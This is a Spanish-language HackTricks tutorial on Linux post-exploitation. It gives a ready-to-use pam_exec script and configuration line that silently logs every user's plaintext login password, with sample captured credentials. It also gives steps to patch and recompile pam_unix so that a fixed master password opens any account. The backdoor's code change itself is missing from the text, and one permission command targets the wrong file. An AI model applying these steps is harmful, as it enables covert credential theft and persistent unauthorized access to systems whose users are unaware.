6.9 KiB
Post-Explotación de Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Sniffing de contraseñas de inicio de sesión con PAM
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
Primero, creamos un script de bash que se invocará cada vez que se produzca una nueva autenticación.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
Las variables son específicas de PAM y estarán disponibles a través del módulo pam_exec.so
.
Aquí está el significado de las variables:
- $PAM_USER: El nombre de usuario que se ingresó.
- $PAM_RHOST: El host remoto (típicamente la dirección IP)
- $(cat -): Esto lee
stdin
, y contendrá la contraseña que el script obtiene - Los resultados se envían a un archivo de registro en
/var/log/toomanysecrets.log
Para evitar que todos los usuarios lean el archivo, considere pre-crear el archivo y ejecutar chmod
, por ejemplo:
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
A continuación, se debe actualizar el archivo de configuración de PAM para que el módulo pam_exec
invoque el script.
Existen varios archivos de configuración ubicados en /etc/pam.d/
, y elegimos common-auth
.
sudo nano /etc/pam.d/common-auth
En la parte inferior del archivo, agregue el siguiente módulo de autenticación:
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
Los opciones tienen el siguiente significado:
- optional: La autenticación no debe fallar si hay un error (no es un paso obligatorio)
- pam_exec.so: Este es el módulo PAM que puede invocar scripts arbitrarios
- expose_authtok: Este es el truco que permite leer la contraseña a través de
stdin
- quiet: No mostrar errores al usuario (si algo no funciona)
- El último argumento es el script de shell que se creó anteriormente
Finalmente, haga que el archivo sea ejecutable:
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Ahora, probemos esto y ssh desde otra máquina o inicie sesión localmente.
Y luego mire el archivo de registro:
$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Backdooring PAM
Vamos a las fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya...) y busca alrededor de las líneas 170/180 en el archivo pam_unix_auth.c:
vi modules/pam_unix/pam_unix_auth.c
Cambiemos esto por:
Esto permitirá que cualquier usuario que use la contraseña "0xMitsurugi" pueda iniciar sesión.
Recompila el archivo pam_unix_auth.c
y reemplaza el archivo pam_unix.so:
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
{% hint style="info" %} Puedes automatizar este proceso con https://github.com/zephrax/linux-pam-backdoor {% endhint %}
Referencias
- https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/
- https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.